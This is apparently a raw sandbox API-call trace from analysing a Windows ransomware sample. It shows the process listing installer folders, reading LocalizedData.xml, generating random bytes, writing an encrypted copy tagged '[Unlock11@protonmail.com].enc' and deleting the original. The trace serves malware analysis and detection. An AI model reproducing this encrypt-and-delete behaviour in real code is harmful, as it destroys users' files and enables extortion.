[0114.561] GetCurrentThreadId () returned 0x9b0 [0114.561] GetLastError () returned 0x0 [0114.561] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x35d5) returned 0x36f8548 [0114.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6bc8 [0114.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0114.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x35d8) returned 0x3887a10 [0114.562] GetCurrentThreadId () returned 0x9b0 [0114.562] GetLastError () returned 0x0 [0114.562] GetLastError () returned 0x0 [0114.562] GetLastError () returned 0x0 [0114.562] GetLastError () returned 0x0 [0114.562] GetCurrentThreadId () returned 0x9b0 [0114.562] GetLastError () returned 0x0 [0114.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0114.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0114.562] GetLastError () returned 0x0 [0114.563] GetLastError () returned 0x0 [0114.563] GetCurrentThreadId () returned 0x9b0 [0114.563] GetLastError () returned 0x0 [0114.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388aff0 | out: hHeap=0x2ad0000) returned 1 [0114.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.563] GetLastError () returned 0x0 [0114.563] GetLastError () returned 0x0 [0114.563] GetCurrentThreadId () returned 0x9b0 [0114.563] GetLastError () returned 0x0 [0114.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.564] GetLastError () returned 0x0 [0114.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0114.564] CloseHandle (hObject=0x3ac) returned 1 [0114.564] GetLastError () returned 0x0 [0114.564] GetCurrentThreadId () returned 0x9b0 [0114.564] GetLastError () returned 0x0 [0114.564] GetLastError () returned 0x0 [0114.565] CloseHandle (hObject=0x39c) returned 1 [0114.565] GetLastError () returned 0x0 [0114.565] GetCurrentThreadId () returned 0x9b0 [0114.565] GetLastError () returned 0x0 [0114.565] GetLastError () returned 0x0 [0114.565] GetLastError () returned 0x0 [0114.565] GetLastError () returned 0x0 [0114.565] GetLastError () returned 0x0 [0114.565] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0114.567] GetLastError () returned 0x0 [0114.567] GetCurrentThreadId () returned 0x9b0 [0114.567] GetLastError () returned 0x0 [0114.567] GetLastError () returned 0x0 [0114.567] GetLastError () returned 0x0 [0114.567] GetLastError () returned 0x0 [0114.567] GetLastError () returned 0x0 [0114.567] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.567] GetCurrentThreadId () returned 0x9b0 [0114.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0114.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0114.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0114.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0114.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0114.568] GetCurrentThreadId () returned 0x9b0 [0114.568] GetLastError () returned 0x0 [0114.568] GetLastError () returned 0x0 [0114.568] GetLastError () returned 0x0 [0114.568] GetLastError () returned 0x0 [0114.568] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0114.568] GetLastError () returned 0x0 [0114.568] GetCurrentThreadId () returned 0x9b0 [0114.569] GetLastError () returned 0x0 [0114.569] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.569] GetLastError () returned 0x0 [0114.569] GetCurrentThreadId () returned 0x9b0 [0114.569] GetLastError () returned 0x0 [0114.569] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.569] GetLastError () returned 0x0 [0114.569] GetCurrentThreadId () returned 0x9b0 [0114.569] GetLastError () returned 0x0 [0114.569] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.569] GetLastError () returned 0x0 [0114.569] GetCurrentThreadId () returned 0x9b0 [0114.569] GetLastError () returned 0x0 [0114.569] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.570] GetLastError () returned 0x0 [0114.570] GetCurrentThreadId () returned 0x9b0 [0114.570] GetLastError () returned 0x0 [0114.570] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.570] GetLastError () returned 0x12 [0114.570] GetCurrentThreadId () returned 0x9b0 [0114.570] GetLastError () returned 0x12 [0114.570] GetLastError () returned 0x12 [0114.570] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0114.570] GetLastError () returned 0x12 [0114.570] GetLastError () returned 0x12 [0114.570] GetLastError () returned 0x12 [0114.570] GetLastError () returned 0x12 [0114.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0114.571] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0114.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0114.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0114.571] GetCurrentThreadId () returned 0x9b0 [0114.571] GetLastError () returned 0x12 [0114.571] GetLastError () returned 0x12 [0114.571] GetLastError () returned 0x12 [0114.571] GetLastError () returned 0x12 [0114.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0114.571] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0114.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0114.572] GetLastError () returned 0x12 [0114.572] GetLastError () returned 0x12 [0114.572] GetLastError () returned 0x12 [0114.572] GetLastError () returned 0x12 [0114.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.572] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0114.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0114.572] GetCurrentThreadId () returned 0x9b0 [0114.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0114.573] GetLastError () returned 0x12 [0114.573] GetLastError () returned 0x12 [0114.573] GetLastError () returned 0x12 [0114.573] GetLastError () returned 0x12 [0114.573] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.573] GetCurrentThreadId () returned 0x9b0 [0114.573] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0114.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0114.573] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0114.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0114.573] GetLastError () returned 0x12 [0114.574] GetLastError () returned 0x12 [0114.574] GetLastError () returned 0x12 [0114.574] GetLastError () returned 0x12 [0114.574] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.574] GetCurrentThreadId () returned 0x9b0 [0114.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0114.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0114.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0114.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0114.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.574] GetCurrentThreadId () returned 0x9b0 [0114.574] GetLastError () returned 0x0 [0114.575] GetLastError () returned 0x0 [0114.575] GetLastError () returned 0x0 [0114.575] GetLastError () returned 0x0 [0114.575] GetCurrentThreadId () returned 0x9b0 [0114.575] GetLastError () returned 0x0 [0114.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.575] GetLastError () returned 0x0 [0114.575] GetLastError () returned 0x0 [0114.575] GetLastError () returned 0x0 [0114.575] GetLastError () returned 0x0 [0114.575] GetCurrentThreadId () returned 0x9b0 [0114.576] GetLastError () returned 0x0 [0114.576] GetLastError () returned 0x0 [0114.576] GetLastError () returned 0x0 [0114.576] GetLastError () returned 0x0 [0114.576] GetLastError () returned 0x0 [0114.576] GetCurrentThreadId () returned 0x9b0 [0114.576] GetLastError () returned 0x0 [0114.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.576] GetCurrentThreadId () returned 0x9b0 [0114.576] GetLastError () returned 0x0 [0114.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0114.577] GetLastError () returned 0x0 [0114.577] GetLastError () returned 0x0 [0114.577] GetLastError () returned 0x0 [0114.577] GetCurrentThreadId () returned 0x9b0 [0114.577] GetLastError () returned 0x0 [0114.577] GetLastError () returned 0x0 [0114.577] GetLastError () returned 0x0 [0114.577] GetLastError () returned 0x0 [0114.577] GetLastError () returned 0x0 [0114.577] GetCurrentThreadId () returned 0x9b0 [0114.577] GetLastError () returned 0x0 [0114.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0114.578] GetCurrentThreadId () returned 0x9b0 [0114.578] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6)) returned 1 [0114.578] GetCurrentThreadId () returned 0x9b0 [0114.578] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664624 | out: pbBuffer=0x3664624) returned 1 [0114.578] GetCurrentThreadId () returned 0x9b0 [0114.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0114.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0114.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0114.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.579] GetCurrentThreadId () returned 0x9b0 [0114.579] GetCurrentThreadId () returned 0x9b0 [0114.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.580] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.580] GetCurrentThreadId () returned 0x9b0 [0114.580] GetCurrentThreadId () returned 0x9b0 [0114.580] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6d78 [0114.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0114.580] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.580] GetFileType (hFile=0x39c) returned 0x1 [0114.580] GetCurrentThreadId () returned 0x9b0 [0114.581] GetFileType (hFile=0x39c) returned 0x1 [0114.581] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.581] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.581] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.581] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.581] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.581] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.581] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.581] GetLastError () returned 0x0 [0114.581] GetCurrentThreadId () returned 0x9b0 [0114.581] GetLastError () returned 0x0 [0114.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d88 | out: hHeap=0x2ad0000) returned 1 [0114.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0114.582] GetLastError () returned 0x0 [0114.582] GetLastError () returned 0x0 [0114.582] GetLastError () returned 0x0 [0114.582] GetLastError () returned 0x0 [0114.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d08 [0114.582] GetLastError () returned 0x0 [0114.582] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.584] GetFileType (hFile=0x3ac) returned 0x1 [0114.584] GetLastError () returned 0x0 [0114.584] GetCurrentThreadId () returned 0x9b0 [0114.584] GetLastError () returned 0x0 [0114.584] GetFileType (hFile=0x3ac) returned 0x1 [0114.584] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.584] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.584] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.584] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.584] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.584] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.584] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.585] GetLastError () returned 0x0 [0114.585] GetCurrentThreadId () returned 0x9b0 [0114.585] GetLastError () returned 0x0 [0114.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0114.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0114.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0114.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.585] GetLastError () returned 0x0 [0114.585] GetLastError () returned 0x0 [0114.585] GetCurrentThreadId () returned 0x9b0 [0114.585] GetLastError () returned 0x0 [0114.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0114.586] GetLastError () returned 0x0 [0114.586] GetLastError () returned 0x0 [0114.586] GetCurrentThreadId () returned 0x9b0 [0114.586] GetLastError () returned 0x0 [0114.586] GetLastError () returned 0x0 [0114.587] GetLastError () returned 0x0 [0114.588] GetCurrentThreadId () returned 0x9b0 [0114.588] GetLastError () returned 0x0 [0114.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d78 | out: hHeap=0x2ad0000) returned 1 [0114.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.588] GetCurrentThreadId () returned 0x9b0 [0114.588] GetLastError () returned 0x0 [0114.589] GetLastError () returned 0x0 [0114.589] GetLastError () returned 0x0 [0114.589] GetLastError () returned 0x0 [0114.589] GetCurrentThreadId () returned 0x9b0 [0114.589] GetLastError () returned 0x0 [0114.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0114.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.589] GetLastError () returned 0x0 [0114.591] GetLastError () returned 0x0 [0114.591] GetCurrentThreadId () returned 0x9b0 [0114.591] GetLastError () returned 0x0 [0114.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.591] GetLastError () returned 0x0 [0114.592] GetLastError () returned 0x0 [0114.592] GetCurrentThreadId () returned 0x9b0 [0114.592] GetLastError () returned 0x0 [0114.592] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x41db) returned 0x36f8548 [0114.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.592] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x41e5) returned 0x36f8548 [0114.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d78 [0114.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cd8 | out: hHeap=0x2ad0000) returned 1 [0114.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x41e8) returned 0x3887a10 [0114.592] GetCurrentThreadId () returned 0x9b0 [0114.592] GetLastError () returned 0x0 [0114.593] GetLastError () returned 0x0 [0114.593] GetLastError () returned 0x0 [0114.593] GetLastError () returned 0x0 [0114.593] GetCurrentThreadId () returned 0x9b0 [0114.593] GetLastError () returned 0x0 [0114.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0114.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0114.593] GetLastError () returned 0x0 [0114.594] GetLastError () returned 0x0 [0114.594] GetCurrentThreadId () returned 0x9b0 [0114.594] GetLastError () returned 0x0 [0114.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388bc00 | out: hHeap=0x2ad0000) returned 1 [0114.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.594] GetLastError () returned 0x0 [0114.594] GetLastError () returned 0x0 [0114.594] GetCurrentThreadId () returned 0x9b0 [0114.594] GetLastError () returned 0x0 [0114.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.595] GetLastError () returned 0x0 [0114.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.595] CloseHandle (hObject=0x3ac) returned 1 [0114.595] GetLastError () returned 0x0 [0114.595] GetCurrentThreadId () returned 0x9b0 [0114.595] GetLastError () returned 0x0 [0114.595] GetLastError () returned 0x0 [0114.595] CloseHandle (hObject=0x39c) returned 1 [0114.596] GetLastError () returned 0x0 [0114.596] GetCurrentThreadId () returned 0x9b0 [0114.596] GetLastError () returned 0x0 [0114.596] GetLastError () returned 0x0 [0114.596] GetLastError () returned 0x0 [0114.596] GetLastError () returned 0x0 [0114.596] GetLastError () returned 0x0 [0114.596] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0114.597] GetLastError () returned 0x0 [0114.598] GetCurrentThreadId () returned 0x9b0 [0114.598] GetLastError () returned 0x0 [0114.598] GetLastError () returned 0x0 [0114.598] GetLastError () returned 0x0 [0114.598] GetLastError () returned 0x0 [0114.598] GetLastError () returned 0x0 [0114.598] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.598] GetCurrentThreadId () returned 0x9b0 [0114.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0114.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0114.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0114.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0114.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0114.599] GetCurrentThreadId () returned 0x9b0 [0114.599] GetLastError () returned 0x0 [0114.599] GetLastError () returned 0x0 [0114.599] 